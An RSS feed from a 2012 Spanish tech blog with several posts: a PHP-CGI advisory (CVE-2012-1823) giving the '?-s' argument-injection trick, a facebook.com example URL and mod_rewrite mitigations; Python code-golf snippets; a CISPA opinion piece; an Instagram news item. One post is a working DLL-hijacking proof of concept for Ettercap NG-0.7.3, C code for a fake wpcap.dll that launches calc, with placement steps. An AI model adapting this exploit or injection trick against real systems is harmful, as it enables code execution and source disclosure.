<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DaW - Labs</title>
	<atom:link href="http://www.daw-labs.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.daw-labs.com</link>
	<description>¡La Informática al límite!</description>
	<lastBuildDate>Sat, 19 May 2012 17:56:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Grave vulnerabilidad en PHP-CGI</title>
		<link>http://www.daw-labs.com/grave-vulnerabilidad-en-php-cgi/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=grave-vulnerabilidad-en-php-cgi</link>
		<comments>http://www.daw-labs.com/grave-vulnerabilidad-en-php-cgi/#comments</comments>
		<pubDate>Mon, 07 May 2012 17:30:32 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Inseguridad Informática]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[PHP/HTML/CSS]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[CGI]]></category>
		<category><![CDATA[grave]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1689</guid>
		<description><![CDATA[Grave vulnerabilidad en PHP-CGI Importancia: 5 &#8211; Crítica Fecha de publicación: 03/05/2012 Recursos afectados Servidores web con PHP ejecutándose como CGI. Descripción Posibilita el paso de parámetros al intérprete, lo que permite la ejecución de código arbitrario y la revelación de información confidencial. Solución Ya existen módulos de la herramienta de pentesting y hacking metasploit&#8230;]]></description>
			<content:encoded><![CDATA[<p>Grave vulnerabilidad en PHP-CGI</p>
<p><strong>Importancia:</strong><br />
5 &#8211; Crítica</p>
<p><strong>Fecha de publicación:</strong><br />
03/05/2012</p>
<p><strong>Recursos afectados</strong><br />
Servidores web con PHP ejecutándose como CGI.</p>
<p><strong>Descripción</strong><br />
Posibilita el paso de parámetros al intérprete, lo que permite la ejecución de código arbitrario y la revelación de información confidencial.</p>
<p><strong>Solución</strong><br />
Ya existen módulos de la herramienta de pentesting y hacking metasploit que permiten explotar esta vulnerabilidad por lo que se recomienda actualizar cuanto antes. Se puede hacer a través del código fuente, aunque se recomienda instalarlo a través de los mecanismos de actualización de paquetes de Linux. Para sistemas Windows, se puede descargar de la web <a href="http://windows.php.net/download/">http://windows.php.net/download/</a>.<br />
Como alternativa, si no se puede actualizar, el fabricante propone las siguientes reglas del módulo mod_rewrite de Apache para bloquear las URLs maliciosas:</p>
<pre>RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]</pre>
<p><strong>Detalle</strong><br />
Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena &#8216;?-s&#8217;.<br />
Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.<br />
Aunque el parámetro &#8216;-r&#8217;, para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse.<br />
PHP eliminó por error el código que protegía ante este problema en 2004.<br />
FastCGI no es vulnerable.</p>
<p><strong>Impacto:</strong><br />
Ejecución de código malicioso.<br />
Revelación de información confidencial.</p>
<p><strong>Exploit en .rb (Módulo para Metasploit):</strong><br />
<a href="https://github.com/rapid7/metasploit-framework/blob/2d1f4d4f3eb68ee599ac03be4d71e3c0c3443420/modules/exploits/unix/webapp/php_cgi_arg_injection.rb">https://github.com/rapid7/metasploit-framework/blob/2d1f4d4f3eb68ee599ac03be4d71e3c0c3443420/modules/exploits/unix/webapp/php_cgi_arg_injection.rb</a></p>
<p><strong>Ejemplo:</strong><br />
<a href="http://www.facebook.com/?-s">http://www.facebook.com/?-s</a></p>
<p>&nbsp;</p>
<p><em><strong>Fuente</strong></em><br />
<a href="http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/">http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/grave-vulnerabilidad-en-php-cgi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Funciones reducidas en Python</title>
		<link>http://www.daw-labs.com/funciones-reducidas-en-python/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=funciones-reducidas-en-python</link>
		<comments>http://www.daw-labs.com/funciones-reducidas-en-python/#comments</comments>
		<pubDate>Sat, 28 Apr 2012 18:40:56 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[codigo]]></category>
		<category><![CDATA[cortas]]></category>
		<category><![CDATA[Funciones]]></category>
		<category><![CDATA[ofuscar]]></category>
		<category><![CDATA[reducidas]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1684</guid>
		<description><![CDATA[Hola a todos, La idea de esta entrada es poner las funciones reducidas que he y hayan programado. Lo ideal es ver cuán cortas pueden ser.- Aquí comparto algunas strlen / len Forma normal def s&#40;x&#41;: i = 0 for l in x: i += 1 return i Forma corta def l&#40;x&#41;: return sum&#40;1 for&#8230;]]></description>
			<content:encoded><![CDATA[<p>Hola a todos,</p>
<p>La idea de esta entrada es poner las funciones reducidas que he y hayan programado. Lo ideal es ver cuán cortas pueden ser.-</p>
<p>Aquí comparto algunas</p>
<p><strong>strlen / len</strong><br />
Forma normal</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> s<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span>:
    i = <span style="color: #ff4500;">0</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> l <span style="color: #ff7700;font-weight:bold;">in</span> x:
        i += <span style="color: #ff4500;">1</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> i</pre></div></div>

<p>Forma corta</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> l<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span>: <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> x<span style="color: black;">&#41;</span>
l = <span style="color: black;">&#40;</span><span style="color: #ff7700;font-weight:bold;">lambda</span> x: <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> x<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p><strong>Contar espacios de una cadena</strong><br />
Forma normal</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> v<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span>:
    i = <span style="color: #ff4500;">0</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> l <span style="color: #ff7700;font-weight:bold;">in</span> x:
        <span style="color: #ff7700;font-weight:bold;">if</span> l == <span style="color: #483d8b;">' '</span>:
            i += <span style="color: #ff4500;">1</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> i</pre></div></div>

<p>Forma corta</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">def</span> k<span style="color: black;">&#40;</span>x<span style="color: black;">&#41;</span>: <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #008000;">sum</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span> <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> x <span style="color: #ff7700;font-weight:bold;">if</span> i == <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">32</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>Con el paso del tiempo, espero ir agregando más.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/funciones-reducidas-en-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CISPA: Cyber Intelligence Sharing And Protection</title>
		<link>http://www.daw-labs.com/cispa-cyber-intelligence-sharing-and-protection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cispa-cyber-intelligence-sharing-and-protection</link>
		<comments>http://www.daw-labs.com/cispa-cyber-intelligence-sharing-and-protection/#comments</comments>
		<pubDate>Sun, 08 Apr 2012 15:23:24 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[censura]]></category>
		<category><![CDATA[cispa]]></category>
		<category><![CDATA[informacion]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Ley]]></category>
		<category><![CDATA[lleras]]></category>
		<category><![CDATA[pipa]]></category>
		<category><![CDATA[proyecto]]></category>
		<category><![CDATA[sopa]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1681</guid>
		<description><![CDATA[Después de las masivas protestas en enero de este año con respecto a la actualidad y las facturas archivadas SOPA PIPA , los legisladores de Estados Unidos ya ha creado otro proyecto que va a tener algunas ramificaciones muy preocupantes para los derechos básicos de las personas de la vida privada. Esto viene al mismo tiempo, el&#8230;]]></description>
			<content:encoded><![CDATA[<p>Después de las masivas protestas en enero de este año con respecto a la actualidad y las facturas archivadas SOPA PIPA , los legisladores de Estados Unidos ya ha creado otro proyecto que va a tener algunas ramificaciones muy preocupantes para los derechos básicos de las personas de la vida privada. Esto viene al mismo tiempo, el Reino Unido se propone aprobar una pieza muy similar de la legislación (más o menos exactamente el mismo en términos de lo que la información que pueda reunir) que escribí sobre el día de hoy.</p>
<p>El nuevo proyecto de ley, HR 3523, se presenta como legisladores en Washington están tratando de encontrar nuevas maneras de abordar las cuestiones de seguridad cibernética en relación con los intereses estadounidenses, y como resultado de la Rogers-Ruppersberger Ley de Seguridad Cibernética fue creada. Sin embargo, como con Sopa / PIPA la redacción del proyecto de ley es muy vaga por decir lo menos y es muy abierto a los abusos de las entidades federativas.</p>
<p>La Electronic Frontier Foundation, otro grupo de apoyo en línea, también ha condenado fuertemente CISPA por lo que significa para el futuro de la Internet &#8221;. Se crea efectivamente un&#8221; cibernética&#8221; exención a todas las leyes existentes &#8220;, explica el FEP, que añade en un declaración de su voluntad y que &#8220;casi no hay restricciones en lo que se puede recoger y cómo se puede utilizar, siempre que una empresa puede solicitar que fue motivado por los efectos de la ciberseguridad&#8221;.</p>
<p>La CDT también han expresado su preocupación con respecto a la redacción y las implicaciones para la legislación:</p>
<div></div>
<p>&nbsp;</p>
<div></div>
<div>El proyecto de ley vendrá como una gran noticia para la NSA que ya han construido un enorme complejo en el Bluffdale UT que se mantiene en secreto durante mucho tiempo. El centro de la fuertemente fortificada $ 2000 millones (£ 1.25 mil millones) debería estar en funcionamiento en septiembre de 2013. Almacenado en casi insondables bases de datos estarán todas las formas de comunicación, incluyendo mensajes de correo electrónico privadas, llamadas de teléfonos móviles y las búsquedas de Google, así como los senderos de datos personales, itinerarios de viaje, compras y otros soportes digitales &#8220;basura&#8221; de bolsillo. Es la realización de la &#8220;conciencia total de la información&#8221; programa creado por el gobierno de Bush &#8211; que fue asesinado por el Congreso en 2003 después de un escándalo por su potencial de invasión de la privacidad.</div>
<div></div>
<div>La NSA será una de las principales entidades federales que tendrán acceso irrestricto a la información de las personas recién tocó en línea. El mes pasado, la NSA se presentó ante el Congreso insisten en que la NSA no tiene ni la técnica ni las capacidades legales para capturar y tamizar a través de las comunicaciones de los estadounidenses.</div>
<div></div>
<p>Bueno, eso ahora ha cambiado.</p>
<p><iframe src="http://www.youtube.com/embed/Ya2TmSmbUQI" frameborder="0" width="420" height="315"></iframe></p>
<p>Aquí está una lista de algunas de las grandes corporaciones que han escrito cartas en apoyo a esta nueva legislación. He incorporado la carta de Facebook por debajo de la lista:</p>
<ul>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/ATT113011.pdf" target="_blank">AT&amp;T</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/Boeing12072011.pdf" target="_blank">Boeing</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/HR3523BSASupport.pdf" target="_blank">BSA</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/20111202CyberBillRoundtableEndorsement.pdf" target="_blank">Business Roundtable</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/CSC113011.pdf" target="_blank">CSC</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/COMPTELHR3523.pdf" target="_blank">COMPTEL</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/CTIA112911.pdf" target="_blank">CTIA – The Wireless Association</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/CSIA1130011.pdf" target="_blank">Cyber, Space &amp; Intelligence Association</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/EdisonElectricSupport%20111215.pdf" target="_blank">Edison Electric</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/EMC113011.pdf" target="_blank">EMC</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/ExelonSupportofCyberBill.pdf" target="_blank">Exelon</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/FacebookHR3523.pdf" target="_blank">Facebook</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/FinancialServicesRoundtable112911.pdf" target="_blank">The Financial Services Roundtable</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/IBM112811.pdf" target="_blank">IBM</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/ITTA121111.pdf" target="_blank">Independent Telephone &amp; Telecommunications Alliance</a></li>
<li><a href="http://www.itic.org/news/press-releases/chairman-mike-rogers-s-information-sharing-bill-will-meet-key-needs-in-improving-cybersecurity/" target="_blank">Information Technology Industry Council</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/IntelRogersltr.pdf" target="_blank">Intel</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/ISAllianceSupportofCyberBill.pdf" target="_blank">Internet Security Alliance</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/111202HR3523SupportLockheed.pdf" target="_blank">Lockheed Martin</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/Microsoft113011.pdf" target="_blank">Microsoft</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/NCTA113011.pdf" target="_blank">National Cable &amp; Telecommunications Association</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/NDIASupportofCyberBill.pdf" target="_blank">NDIA</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/111128OracleSupport.pdf" target="_blank">Oracle</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/SymantecSupportofCyberBill.pdf" target="_blank">Symantec</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/TechAmerica113011.pdf" target="_blank">TechAmerica</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/USChamberofCommerce112911.pdf" target="_blank">US Chamber of Commerce</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/USTelecom113011.pdf" target="_blank">US Telecom – The Broadband Association</a></li>
<li><a href="http://intelligence.house.gov/sites/intelligence.house.gov/files/documents/Verizon113011.pdf" target="_blank">Verizon</a></li>
</ul>
<p>Vía | <strong><a title="Kode-Labs" href="http://kode-labs.blogspot.com" target="_blank">Kode-Labs</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/cispa-cyber-intelligence-sharing-and-protection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ettercap NG-0.7.3 DLL Exploit</title>
		<link>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ettercap-ng-0-7-3-dll-exploit</link>
		<comments>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/#comments</comments>
		<pubDate>Sun, 08 Apr 2012 15:09:00 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[Inseguridad Informática]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[ettercap]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[explotar]]></category>
		<category><![CDATA[Inseguridad]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1678</guid>
		<description><![CDATA[---------------------------------------------------------------------- Exploit Title: Ettercap NG-0.7.3 DLL hijacking &#40;wpcap.dll&#41; Autor: $ slashdot Testeado: Windows XP SP3 Extensión Vulnerable: .pcap ---------------------------------------------------------------------- &#160; #include &#60;windows.h&#62; #define DLLIMPORT __declspec (dllexport) &#160; &#160; DLLIMPORT void pcap_findalldevs&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_close&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_compile&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_datalink&#40;&#41; &#123; evil&#40;&#41;; &#125; DLLIMPORT void pcap_datalink_val_to_description&#40;&#41;&#8230;]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="cpp" style="font-family:monospace;"><span style="color: #000040;">----------------------------------------------------------------------</span>
Exploit Title<span style="color: #008080;">:</span>  Ettercap NG<span style="color: #000040;">-</span>0.7.3 DLL hijacking <span style="color: #008000;">&#40;</span>wpcap.<span style="color: #007788;">dll</span><span style="color: #008000;">&#41;</span>          
Autor<span style="color: #008080;">:</span> $ slashdot                                                                 
Testeado<span style="color: #008080;">:</span> Windows XP SP3 
Extensión Vulnerable<span style="color: #008080;">:</span> .<span style="color: #007788;">pcap</span>                                        
<span style="color: #000040;">----------------------------------------------------------------------</span>
&nbsp;
<span style="color: #339900;">#include &lt;windows.h&gt;</span>
<span style="color: #339900;">#define DLLIMPORT __declspec (dllexport)</span>
&nbsp;
&nbsp;
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_findalldevs<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_close<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_compile<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_datalink<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_datalink_val_to_description<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump_close<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_dump_open<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_file<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_freecode<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_geterr<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_getevent<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lib_version<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lookupdev<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_lookupnet<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_loop<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_open_live<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_open_offline<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_setfilter<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_snapshot<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
DLLIMPORT <span style="color: #0000ff;">void</span> pcap_stats<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#123;</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span> <span style="color: #008000;">&#125;</span>
<span style="color: #0000ff;">int</span> evil<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span>
&nbsp;
<span style="color: #008000;">&#123;</span>
  WinExec<span style="color: #008000;">&#40;</span><span style="color: #FF0000;">&quot;calc&quot;</span>, <span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
  <span style="color: #0000dd;">exit</span><span style="color: #008000;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span>
  <span style="color: #0000ff;">return</span> <span style="color: #0000dd;">0</span><span style="color: #008080;">;</span>
<span style="color: #008000;">&#125;</span></pre></div></div>

<p>Compilar y renombrar a wpcap.dll, crear en el mismo directorio que el archivo .pcap</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/ettercap-ng-0-7-3-dll-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instagram llega de forma oficial a Android</title>
		<link>http://www.daw-labs.com/instagram-llega-de-forma-oficial-a-android/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=instagram-llega-de-forma-oficial-a-android</link>
		<comments>http://www.daw-labs.com/instagram-llega-de-forma-oficial-a-android/#comments</comments>
		<pubDate>Tue, 03 Apr 2012 17:11:54 +0000</pubDate>
		<dc:creator>WindHack</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Sistemas operativos]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[foto]]></category>
		<category><![CDATA[fotografia]]></category>
		<category><![CDATA[imagenes]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[llega]]></category>
		<category><![CDATA[oficial]]></category>
		<category><![CDATA[red]]></category>
		<category><![CDATA[social]]></category>

		<guid isPermaLink="false">http://www.daw-labs.com/?p=1672</guid>
		<description><![CDATA[  Instagram ya está disponible para su descarga para dispositivos Android a través de Google Play. La red social basada en fotografía llega al sistema operativo móvil de Google después de meses de espera repletos de rumores. Los usuarios ya pueden descargar Instagram de forma gratuita para sus dispositivos Android. Instagram se ha hecho de&#8230;]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://www.daw-labs.com/wp-content/uploads/2012/04/fotonoticia_20120403180735.jpg"><img class="aligncenter size-full wp-image-1674" title="Instagram" src="http://www.daw-labs.com/wp-content/uploads/2012/04/fotonoticia_20120403180735.jpg" alt="" width="250" height="317" /></a> </strong></p>
<p><strong>Instagram</strong> ya está disponible para su descarga para dispositivos Android a través de Google Play. La red social basada en fotografía llega al sistema operativo móvil de Google después de meses de espera repletos de rumores. Los usuarios ya pueden descargar Instagram de forma gratuita para sus dispositivos Android.</p>
<p>Instagram se ha hecho de rogar en Android. La aplicación-red social hasta el momento solo estaba disponible en iOS, donde ha conseguido cautivar a millones de usuarios. Hasta el momento, el servicio se limitaba a los dispositivos de Apple, aunque ya se había anunciado su adaptación a Android. Después de meses de rumores sobre su lanzamiento, el equipo de Instagram ha puesto a disposición de los usuarios la aplicación.</p>
<p>Se trata de una red social basada en la fotografía. Los usuarios pueden crear cuentas en Instagram y subir las fotografías que describan sus actividades, intereses o inquietudes. Sus creadores definen el servicio como &#8220;una bonita manera de compartir el mundo&#8221;.</p>
<p>Como uno de sus principales atractivos, Instagram destaca por ofrecer una amplia variedad de filtros automáticos que permiten cambiar totalmente la estética de las instantáneas. Estos filtros y bordes están específicamente diseñados para las fotografías de Instagram y los usuarios pueden escoger algunos como Brannan, Inkwel o Walden entre otros.</p>
